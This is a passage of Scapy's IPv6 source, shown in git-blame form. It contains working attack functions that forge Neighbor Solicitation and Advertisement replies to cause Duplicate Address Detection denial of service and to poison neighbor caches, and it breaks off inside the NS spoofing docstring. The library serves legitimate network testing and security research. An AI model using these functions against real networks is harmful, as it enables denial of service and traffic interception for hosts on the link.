3324af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff(store=0,
3325af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          filter=sniff_filter,
3326af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter),
3327af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          prn=lambda x: reply_callback(x, reply_mac, iface),
3328af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          iface=iface)
3329af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3330af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3331af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef NDP_Attack_DAD_DoS_via_NS(iface=None, mac_src_filter=None, tgt_filter=None,
3332af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                              reply_mac=None):
3333af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3334af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Perform the DAD DoS attack using NS described in section 4.1.3 of RFC
3335af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    3756. This is done by listening incoming NS messages sent from the
3336af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    unspecified address and sending a NS reply for the target address,
3337af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    leading the peer to believe that another node is also performing DAD
3338af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    for that address.
3339af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3340af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    By default, the fake NS sent to create the DoS uses:
3341af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as target address the target address found in received NS.
3342af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as IPv6 source address: the unspecified address (::).
3343af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as IPv6 destination address: the link-local solicited-node multicast
3344af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       address derived from the target address in received NS.
3345af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - the mac address of the interface as source (or reply_mac, see below).
3346af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - the multicast mac address derived from the solicited node multicast
3347af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       address used as IPv6 destination address.
3348af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3349af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Following arguments can be used to change the behavior:
3350af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3351af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    iface: a specific interface (e.g. "eth0") of the system on which the
3352af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         DoS should be launched. If None is provided conf.iface is used.
3353af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3354af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
3355af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         Only NS messages received from this source will trigger replies.
3356af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         This allows limiting the effects of the DoS to a single target by
3357af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         filtering on its mac address. The default value is None: the DoS
3358af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         is not limited to a specific mac address.
3359af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3360af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    tgt_filter: Same as previous but for a specific target IPv6 address for
3361af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         received NS. If the target address in the NS message (not the IPv6
3362af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         destination address) matches that address, then a fake reply will
3363af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         be sent, i.e. the emitter will be a target of the DoS.
3364af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3365af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    reply_mac: allow specifying a specific source mac address for the reply,
3366af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         i.e. to prevent the use of the mac address of the interface.
3367af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3368af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3369af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def ns_reply_callback(req, reply_mac, iface):
3370af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3371af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Callback that reply to a NS by sending a similar NS
3372af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3373af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3374af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Let's build a reply and send it
3375af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        mac = req[Ether].src
3376a3618a09887e39536009036d2e88341c61d4d385gpotter        dst = req[IPv6].dst
3377af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        tgt = req[ICMPv6ND_NS].tgt
3378af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep = Ether(src=reply_mac)/IPv6(src="::", dst=dst)/ICMPv6ND_NS(tgt=tgt)
3379af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        sendp(rep, iface=iface, verbose=0)
3380af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3381b72a0b59db7b6fa0726ffa22da3b88679bffe69cgpotter        print("Reply NS for target address %s (received from %s)" % (tgt, mac))
3382af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3383af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    _NDP_Attack_DAD_DoS(ns_reply_callback, iface, mac_src_filter,
3384af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                        tgt_filter, reply_mac)
3385af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3386af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3387af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef NDP_Attack_DAD_DoS_via_NA(iface=None, mac_src_filter=None, tgt_filter=None,
3388af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                              reply_mac=None):
3389af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3390af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Perform the DAD DoS attack using NS described in section 4.1.3 of RFC
3391af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    3756. This is done by listening incoming NS messages *sent from the
3392af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    unspecified address* and sending a NA reply for the target address,
3393af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    leading the peer to believe that another node is also performing DAD
3394af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    for that address.
3395af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3396af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    By default, the fake NA sent to create the DoS uses:
3397af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as target address the target address found in received NS.
3398af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as IPv6 source address: the target address found in received NS.
3399af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as IPv6 destination address: the link-local solicited-node multicast
3400af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       address derived from the target address in received NS.
3401af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - the mac address of the interface as source (or reply_mac, see below).
3402af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - the multicast mac address derived from the solicited node multicast
3403af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       address used as IPv6 destination address.
3404af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr) filled
3405af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       with the mac address used as source of the NA.
3406af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3407af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Following arguments can be used to change the behavior:
3408af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3409af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    iface: a specific interface (e.g. "eth0") of the system on which the
3410af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          DoS should be launched. If None is provided conf.iface is used.
3411af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3412af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
3413af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         Only NS messages received from this source will trigger replies.
3414af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         This allows limiting the effects of the DoS to a single target by
3415af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         filtering on its mac address. The default value is None: the DoS
3416af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         is not limited to a specific mac address.
3417af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3418af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    tgt_filter: Same as previous but for a specific target IPv6 address for
3419af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         received NS. If the target address in the NS message (not the IPv6
3420af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         destination address) matches that address, then a fake reply will
3421af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         be sent, i.e. the emitter will be a target of the DoS.
3422af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3423af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    reply_mac: allow specifying a specific source mac address for the reply,
3424af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         i.e. to prevent the use of the mac address of the interface. This
3425af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         address will also be used in the Target Link-Layer Address option.
3426af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3427af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3428af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def na_reply_callback(req, reply_mac, iface):
3429af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3430af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Callback that reply to a NS with a NA
3431af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3432af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3433af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Let's build a reply and send it
3434af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        mac = req[Ether].src
3435a3618a09887e39536009036d2e88341c61d4d385gpotter        dst = req[IPv6].dst
3436af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        tgt = req[ICMPv6ND_NS].tgt
3437af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep = Ether(src=reply_mac)/IPv6(src=tgt, dst=dst)
3438af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep /= ICMPv6ND_NA(tgt=tgt, S=0, R=0, O=1)
3439af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac)
3440af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        sendp(rep, iface=iface, verbose=0)
3441af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3442b72a0b59db7b6fa0726ffa22da3b88679bffe69cgpotter        print("Reply NA for target address %s (received from %s)" % (tgt, mac))
3443af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3444af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    _NDP_Attack_DAD_DoS(na_reply_callback, iface, mac_src_filter,
3445af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                        tgt_filter, reply_mac)
3446af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3447af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3448af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef NDP_Attack_NA_Spoofing(iface=None, mac_src_filter=None, tgt_filter=None,
3449af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                           reply_mac=None, router=False):
3450af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3451af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    The main purpose of this function is to send fake Neighbor Advertisement
3452af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    messages to a victim. As the emission of unsolicited Neighbor Advertisement
3453af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    is pretty pointless (from an attacker standpoint) because it will not
3454af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    lead to a modification of a victim's neighbor cache, the function send
3455af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    advertisements in response to received NS (NS sent as part of the DAD,
3456af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    i.e. with an unspecified address as source, are not considered).
3457af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3458af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    By default, the fake NA sent to create the DoS uses:
3459af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as target address the target address found in received NS.
3460af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as IPv6 source address: the target address
3461af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - as IPv6 destination address: the source IPv6 address of received NS
3462af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       message.
3463af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - the mac address of the interface as source (or reply_mac, see below).
3464af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - the source mac address of the received NS as destination macs address
3465af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       of the emitted NA.
3466af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard     - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr)
3467af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard       filled with the mac address used as source of the NA.
3468af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3469af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Following arguments can be used to change the behavior:
3470af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3471af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    iface: a specific interface (e.g. "eth0") of the system on which the
3472af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          DoS should be launched. If None is provided conf.iface is used.
3473af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3474af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
3475af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         Only NS messages received from this source will trigger replies.
3476af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         This allows limiting the effects of the DoS to a single target by
3477af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         filtering on its mac address. The default value is None: the DoS
3478af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         is not limited to a specific mac address.
3479af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3480af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    tgt_filter: Same as previous but for a specific target IPv6 address for
3481af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         received NS. If the target address in the NS message (not the IPv6
3482af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         destination address) matches that address, then a fake reply will
3483af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         be sent, i.e. the emitter will be a target of the DoS.
3484af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3485af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    reply_mac: allow specifying a specific source mac address for the reply,
3486af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         i.e. to prevent the use of the mac address of the interface. This
3487af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         address will also be used in the Target Link-Layer Address option.
3488af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3489af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    router: by the default (False) the 'R' flag in the NA used for the reply
3490af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         is not set. If the parameter is set to True, the 'R' flag in the
3491af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard         NA is set, advertising us as a router.
3492af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3493af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Please, keep the following in mind when using the function: for obvious
3494af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    reasons (kernel space vs. Python speed), when the target of the address
3495af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    resolution is on the link, the sender of the NS receives 2 NA messages
3496af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    in a row, the valid one and our fake one. The second one will overwrite
3497af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    the information provided by the first one, i.e. the natural latency of
3498af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    Scapy helps here.
3499af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3500af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    In practice, on a common Ethernet link, the emission of the NA from the
3501af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    genuine target (kernel stack) usually occurs in the same millisecond as
3502af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    the receipt of the NS. The NA generated by Scapy6 will usually come after
3503af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    something 20+ ms. On a usual testbed for instance, this difference is
3504af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sufficient to have the first data packet sent from the victim to the
3505af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    destination before it even receives our fake NA.
3506af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3507af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3508af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def is_request(req, mac_src_filter, tgt_filter):
3509af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3510af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Check if packet req is a request
3511af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3512af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3513af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Those simple checks are based on Section 5.4.2 of RFC 4862
3514af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req):
3515af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3516af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3517af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        mac_src = req[Ether].src
3518af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if mac_src_filter and mac_src != mac_src_filter:
3519af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3520af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3521af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Source must NOT be the unspecified address
3522a3618a09887e39536009036d2e88341c61d4d385gpotter        if req[IPv6].src == "::":
3523af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3524af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3525a3618a09887e39536009036d2e88341c61d4d385gpotter        tgt = inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt)
3526af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if tgt_filter and tgt != tgt_filter:
3527af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            return 0
3528af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3529a3618a09887e39536009036d2e88341c61d4d385gpotter        dst = req[IPv6].dst
3530af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        if in6_isllsnmaddr(dst): # Address is Link Layer Solicited Node mcast.
3531af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3532af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            # If this is a real address resolution NS, then the destination
3533af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            # address of the packet is the link-local solicited node multicast
3534af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            # address associated with the target of the NS.
3535af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            # Otherwise, the NS is a NUD related one, i.e. the peer is
3536af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            # unicasting the NS to check the target is still alive (L2
3537af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            # information is still in its cache and it is verified)
3538af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            received_snma = socket.inet_pton(socket.AF_INET6, dst)
3539af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            expected_snma = in6_getnsma(tgt)
3540af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard            if received_snma != expected_snma:
3541b72a0b59db7b6fa0726ffa22da3b88679bffe69cgpotter                print("solicited node multicast @ does not match target @!")
3542af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                return 0
3543af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3544af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        return 1
3545af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3546af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    def reply_callback(req, reply_mac, router, iface):
3547af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3548af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        Callback that reply to a NS with a spoofed NA
3549af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        """
3550af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3551af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Let's build a reply (as defined in Section 7.2.4. of RFC 4861) and
3552af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # send it back.
3553af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        mac = req[Ether].src
3554af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        pkt = req[IPv6]
3555a3618a09887e39536009036d2e88341c61d4d385gpotter        src = pkt.src
3556af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        tgt = req[ICMPv6ND_NS].tgt
3557af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep = Ether(src=reply_mac, dst=mac)/IPv6(src=tgt, dst=src)
3558af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep /= ICMPv6ND_NA(tgt=tgt, S=1, R=router, O=1) # target from the NS
3559af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3560af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # "If the solicitation IP Destination Address is not a multicast
3561af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # address, the Target Link-Layer Address option MAY be omitted"
3562af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        # Given our purpose, we always include it.
3563af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac)
3564af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3565af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        sendp(rep, iface=iface, verbose=0)
3566af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3567b72a0b59db7b6fa0726ffa22da3b88679bffe69cgpotter        print("Reply NA for target address %s (received from %s)" % (tgt, mac))
3568af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3569af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not iface:
3570af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        iface = conf.iface
3571af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    # To prevent sniffing our own traffic
3572af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    if not reply_mac:
3573af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard        reply_mac = get_if_hwaddr(iface)
3574af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff_filter = "icmp6 and not ether src %s" % reply_mac
3575af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3576af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    router = (router and 1) or 0 # Value of the R flags in NA
3577af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3578af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff(store=0,
3579af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          filter=sniff_filter,
3580af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter),
3581af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          prn=lambda x: reply_callback(x, reply_mac, router, iface),
3582af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          iface=iface)
3583af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3584af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3585af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalarddef NDP_Attack_NS_Spoofing(src_lladdr=None, src=None, target="2001:db8::1",
3586af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                           dst=None, src_mac=None, dst_mac=None, loop=True,
3587af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard                           inter=1, iface=None):
3588af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    """
3589af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    The main purpose of this function is to send fake Neighbor Solicitations
3590af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    messages to a victim, in order to either create a new entry in its neighbor
3591af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    cache or update an existing one. In section 7.2.3 of RFC 4861, it is stated
3592af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    that a node SHOULD create the entry or update an existing one (if it is not
3593af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    currently performing DAD for the target of the NS). The entry's reachability
3594af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    state is set to STALE.
3595af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3596af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    The two main parameters of the function are the source link-layer address
3597af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    (carried by the Source Link-Layer Address option in the NS) and the
3598af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    source address of the packet.
3599af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
